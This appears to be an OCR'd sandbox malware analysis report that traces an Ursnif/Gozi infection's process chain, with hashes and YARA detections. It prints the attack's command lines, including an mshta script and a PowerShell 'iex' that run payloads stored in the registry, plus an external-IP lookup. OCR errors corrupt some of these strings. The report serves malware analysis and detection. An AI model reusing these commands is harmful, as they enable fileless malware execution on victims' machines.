Analysis Process: iexplore.exe PID: 5220 Parent PID: 4344
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General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:47:58

12/02/2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
true

'‘C:\Program Files (x86)\Internet Explore'\lEXPLORE.EXE' SCODEF:4344 CREDAT:82962
Iprefetch:2

0xb20000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 5484 Parent PID: 4344
General
Start time: 01:48:01
Start date: 12/02/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:4344 CREDAT:17422
Iprefetch:2

0xb20000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 5612 Parent PID: 4344
General
Start time: 01:48:05
Start date: 12/02/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit): true
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Commandline:

Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

'‘C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:4344 CREDAT:17430
Iprefetch:2

0xb20000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: mshta.exe PID: 5676 Parent PID: 3424
General
Start time: 01:48:11
Start date: 12/02/2021
Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

false

‘C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resizeTo(1,1);eval(new Act
iveXObject("WScript.Shell').regread('(HKCU\\Software\\AppDataLow\\Software\\Microsoft\86 E
C23E5-2D5A-A875-E71A-B15COBEE7550\\\Actidsrv'));if('window.flag)close()</script>"

0x7ff6c8980000

14848 bytes
197FC97C6A843BEBB445C1D9C58DCBDB
true

true

C, C++ or other language

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: powershell.exe PID: 3848 Parent PID: 5676
General
Start time: 01:48:13
Start date: 12/02/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Copyright null 2021

false

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.En
coding]::ASCIl.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-
2D5A-A875-E71A-B15COBEE7550').basebapi))

0x7ff7bedd0000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true
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Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000010.00000003.837542203.000001895DE90000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: GoziRule, Description: Win32.Gozi, Source:
00000010.00000003.837542203.000001895DE90000.00000004.00000001.sdmp, Author:

CCN-CERT
Reputation: high
Analysis Process: conhost.exe PID: 6140 Parent PID: 3848
General
Start time: 01:48:14
Start date: 12/02/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff724c50000
File size: 625664 bytes
MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
Analysis Process: csc.exe PID: 3912 Parent PID: 3848
General
Start time: 01:48:20
Start date: 12/02/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Templ\ljarxop3\ljarxop3.cmdline’
Imagebase: 0x7ff6513e0000
File size: 2739304 bytes
MD5 hash: B46100977911A0C9FB1C3E5F16A5017D
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Reputation: moderate

Analysis Process: cvtres.exe PID: 5656 Parent PID: 3912

General

Start time: 01:48:22

Start date: 12/02/2021

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Loca\Temp\RESA74F.tmp' ‘c:\Users\user\Ap
pData\Local\Temp\ljarxop3\CSC1A4E6FF24B5843DD91B4B2D685136E16.TMP'

Imagebase: 0x7ff6c1aa0000

File size: 47280 bytes

MDS5 hash: 33BB8BEOB4F547324D93D5D2725CAC3D

Has elevated privileges: true

Has administrator privileges: true
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Programmed in:

C, C++ or other language

Reputation: moderate
Analysis Process: csc.exe PID: 5896 Parent PID: 3848
General
Start time: 01:48:24
Start date: 12/02/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Temp\huoluowl\huoluowl.cmdline'

0x7ff6513e0000

2739304 bytes
B46100977911A0C9FB1C3E5F16A5017D
true

true

Net C# or VB.NET

Reputation: moderate
Analysis Process: cvtres.exe PID: 204 Parent PID: 5896
General
Start time: 01:48:25
Start date: 12/02/2021
Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB5ES5.tmp' ‘c:\Users\user\Ap
pData\Local\Temp\huoluowl\CSCD4A633EEA14B4698A251A533E137966. TMP"

0x7ff6c1aa0000

47280 bytes
33BBBBEOB4F547324D93D5D2725CAC3D
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: explorer.exe PID: 3424 Parent PID: 3848
General
Start time: 01:48:30
Start date: 12/02/2021
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

false

0x7ff6fee60000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000017.00000003.859361649.0000000002BB0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
00000017.00000003.859361649.0000000002BB0000.00000004.00000001.sdmp, Author:
CCN-CERT

Analysis Process: control.exe PID: 5152 Parent PID: 5032

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

01:48:32

12/02/2021
C:\Windows\System32\control.exe
false
C:\Windows\system32\control.exe -h
0x7ff7eee70000

117760 bytes
625DAC87CB5D7D44C5CA1DAS7898065F
true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000018.00000002.863378164.000000000099E000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
00000018.00000002.863378164.000000000099E000.00000004.00000001.sdmp, Author:
CCN-CERT

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000018.00000003.850197611.000002A3DEAE0000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
00000018.00000003.850197611.000002A3DEAE0000.00000004.00000001.sdmp,
Author: CCN-CERT

Analysis Process: RuntimeBroker.exe PID: 3656 Parent PID: 3424

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:48:40
12/02/2021
C:\Windows\System32\RuntimeBroker.exe

false

0x7ff6b0ff0000

99272 bytes
C7E36B4A5D9E6AC600DD7A0EOD52DACS
true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 2848 Parent PID: 5152

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright null 2021

01:48:40

12/02/2021

C:\Windows\System32\rundll32.exe

false

‘C:\Windows\system32\rundlI32.exe' Shell32.dll,Control_RunDLL -h
0x7ff770330000

69632 bytes
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MDS5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:

0000001A.00000003.862721568.0000016DICE90000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
0000001A.00000003.862721568.0000016DICE90000.00000004.00000001.sdmp,
Author: CCN-CERT

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
0000001A.00000002.863933904.0000016D9D01E000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
0000001A.00000002.863933904.0000016D9D01E000.00000004.00000001.sdmp,
Author: CCN-CERT

Analysis Process: cmd.exe PID: 2204 Parent PID: 3424

General

Start time: 01:48:46

Start date: 12/02/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /C 'nslookup myip.opendns.com resolverl.opendns.com > C:\Users\user\AppData\
Local\Temp\A4AC.bil'

Imagebase: 0x7ff622070000

File size: 273920 bytes

MDS5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4560 Parent PID: 2204

General

Start time: 01:50:09

Start date: 12/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase:

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Disassembly

Code Analysis
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